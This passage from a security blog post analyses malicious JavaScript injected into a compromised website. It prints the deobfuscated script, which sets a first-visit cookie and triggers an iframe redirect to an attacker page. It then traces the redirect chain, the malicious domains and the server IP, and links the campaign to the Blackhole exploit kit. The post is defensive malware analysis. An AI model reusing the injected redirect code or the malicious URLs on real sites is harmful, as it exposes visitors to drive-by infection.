<span style="background-color: #eeeeee; font-size: x-small;"> + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">}</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">function GetCookie( name ) {</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var start = document.cookie.indexOf( name + "=" );</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var len = start + name.length + 1;</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> if ( ( !start ) &&</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> ( name != document.cookie.substring( 0, name.length ) ) )</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> {</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> return null;</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> }</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> if ( start == -1 ) return null;</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> var end = document.cookie.indexOf( ";", len );</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> if ( end == -1 ) end = document.cookie.length;</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"> return unescape( document.cookie.substring( len, end ) );</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">}</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">if (navigator.cookieEnabled)</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">{</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;"><br /></span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">wx09();</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">}</span></div>
<div>
<span style="background-color: #eeeeee; font-size: x-small;">}</span></div>
</div>
<div>
<br /></div>
<div>
I was a little disappointed de-obfuscation was so easy :) So this code will check if you have a specific cookie set, if not it will set it and then it'll create an iframe that redirects to the attackers page. Why check/create a cookie? It seems the bad guys only want you to get redirected/infected if this is the first time you've visited the site.<br />
<br /></div>
<div>
<br />
<span style="font-size: large;"><b>Redirects Redirects</b></span><br />
<br /></div>
<div>
I was curious what would happen next so decided to take a wander down the malware rabbit hole. To start with I scanned the iframe destination page:<br />
<br />
<a href="http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php">http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php</a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7w-fteHEV8fAZVP8oRAnntF0nbg79nW31a1KGeWDrzvmWU7cddaPISugW3iPeRGqtUIGajf9PJHacGKYYUxlifk4L8aH25ZFMl9cyzXBe7i4ik9MboG7ZuU7tvXm61Sr-_o9xAcp1zhht/s1600/sucuri2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7w-fteHEV8fAZVP8oRAnntF0nbg79nW31a1KGeWDrzvmWU7cddaPISugW3iPeRGqtUIGajf9PJHacGKYYUxlifk4L8aH25ZFMl9cyzXBe7i4ik9MboG7ZuU7tvXm61Sr-_o9xAcp1zhht/s400/sucuri2.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
A clean malware page didn't make sense so to get more detail I tried to grab a copy of the page using Curl: </div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9eeTRfnOEG5u2SMA8pfzhY4nZptE3D8nJcUD0qQgdlj2OSzZ_D3vqmHgIz3AAxhwicSWF3SJEPAwkwzEtYuNv3c24fCsE5S7XIcGvcbjzoX4v9s60Vm5qUpm_qyUm03Vig2wS4zpC5Bi/s1600/curl1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9eeTRfnOEG5u2SMA8pfzhY4nZptE3D8nJcUD0qQgdlj2OSzZ_D3vqmHgIz3AAxhwicSWF3SJEPAwkwzEtYuNv3c24fCsE5S7XIcGvcbjzoX4v9s60Vm5qUpm_qyUm03Vig2wS4zpC5Bi/s1600/curl1.png" /></a></div>
<br /></div>
<div>
<br />
The server responds but it doesn't give us any real data or redirects. Lets try including a user-agent.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSXranaKHUwVvx8rS5Vt9-9eJH9rRvjaEAOIy7pbWCpEeF4ANyw9x8lfxAGoPeyguAf55XkKtVTJRyizU-IGRuyqB5ohYysxvODpW10mLdNbFCFTrUUUgag3vAToNik8EgE3N5fP9irBQ_/s1600/curl2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSXranaKHUwVvx8rS5Vt9-9eJH9rRvjaEAOIy7pbWCpEeF4ANyw9x8lfxAGoPeyguAf55XkKtVTJRyizU-IGRuyqB5ohYysxvODpW10mLdNbFCFTrUUUgag3vAToNik8EgE3N5fP9irBQ_/s1600/curl2.png" /></a></div>
<br />
<br /></div>
<div>
Interesting, this time we get a redirection (see Location header). It looks like the bad guys only want to redirect legitimate looking browsers, potentially stopping automated scanners or people like me using Curl :)<br />
<br />
Following the redirection the next page we come to just redirects to about:blank.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc8qmyODgROHUCaDUW5BFx5d5izMUqSCahnAraej9iOqqLwyKoOY8rAE-zpVa7id44VBoAt5AdV-eukh-enkom8aiZWWbUGY-uFs0PM-oq-Tpu2WPX2ULLX9NkAf3T7Nx5YVxlszcMmZD1/s1600/curl3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc8qmyODgROHUCaDUW5BFx5d5izMUqSCahnAraej9iOqqLwyKoOY8rAE-zpVa7id44VBoAt5AdV-eukh-enkom8aiZWWbUGY-uFs0PM-oq-Tpu2WPX2ULLX9NkAf3T7Nx5YVxlszcMmZD1/s1600/curl3.png" /></a></div>
<br />
Hmmm so a dead end? Not quite yet. The day before I took the screenshots I used curl and actually received a different domain...On the 14th I was redirected to bonne-isolation.be and on the 15th to boordstenen-beton.be. Switching domains to avoid detection eh?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VczU_yp2z8GeL16t-g97Je5dzvTo2i1TU7dgcqnDvq16RzcMxSNEryJk69fnY0r_4WzF8j33rD_TeUWsLPwsTTlZfOxK5iKtpCNz2HQXTVVIg5WIIpOerlNLkKPwQoDr4iCqJy5Pxujn/s1600/previouscallback.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VczU_yp2z8GeL16t-g97Je5dzvTo2i1TU7dgcqnDvq16RzcMxSNEryJk69fnY0r_4WzF8j33rD_TeUWsLPwsTTlZfOxK5iKtpCNz2HQXTVVIg5WIIpOerlNLkKPwQoDr4iCqJy5Pxujn/s1600/previouscallback.png" /></a></div>
<br /></div>
<div>
Both domains have similar names suggesting some kind of automatic domain name generation and both resolve to the same ip address 95.156.228.69. Googling the ip we find out this is a known bad address:<br />
<br />
<a href="https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559">https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559</a><br />
<br />
VirusTotal and urlquery have some hits:<br />
<br />
<a href="https://www.virustotal.com/en/ip-address/95.156.228.69/information/">https://www.virustotal.com/en/ip-address/95.156.228.69/information/</a><br />
<br />
<a href="http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200">http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200</a><br />
<br />
On urlquery.net we also find some traffic that matches a Suricata Emerging Threat signature:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2lpII4wNb0s8-CP550bMhLPSGTG5IZQ8p5WGYWWY470BrbbZ4Yfq75bDay4Tzx5QohigFOQPtuNIlyQYljP3HPfL6T0ZUFTeg920u5L8DntXV8urUU4Gbh-_s-q7ZG-O78-3ql-nqCwZR/s1600/blackhole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2lpII4wNb0s8-CP550bMhLPSGTG5IZQ8p5WGYWWY470BrbbZ4Yfq75bDay4Tzx5QohigFOQPtuNIlyQYljP3HPfL6T0ZUFTeg920u5L8DntXV8urUU4Gbh-_s-q7ZG-O78-3ql-nqCwZR/s1600/blackhole.png" /></a></div>
<br />
Our bad guys appear to be using the Blackhole exploit kit. I'm not sure why we were redirected to about:blank and not the latest java exploit. Perhaps they are only targeting specific browsers/countries or perhaps they only distribute malware to every tenth connection to avoid detection, who knows. (If anyone has any ideas leave me a comment below!)<br />
<br />
<br />
<br />
<b><span style="font-size: large;">Wrapping Up</span></b><br />
<br />
I always find it interesting to pick apart the techniques used by the bad guys to distribute malware. The multiple layers of obfuscation, redirection and verification all work as a clever way to slow down analysis for the good guys and keep the bad guys in business for longer.<br />
<br />
We saw how:<br />
<ul>
<li>A compromised site (taalvilla.com) was redirecting users to a malicious site using an embedded iframe.</li>
<li>Secondary redirection, that required a browser user-agent, was used to add a layer of obscurity and protection for the final destination.</li>
<li>Multiple domains were being used to prevent detection and mitigation.</li>
<li>The target was a malicious server (95.156.228.69) with a history of Blackhole activity. </li>
</ul>
<br />
For a post about Javascript obfuscation I'm sorry it contained so little Javascript deobfuscation (blame the malware authors for making it too easy!). I may have another more in depth post coming in the future though :)
<br />
<br />
Hope you guys have found this interesting/useful, comments/corrections always appreciated.<br />
<br />
Pwndizzle out.</div>
Unknownnoreply@blogger.com6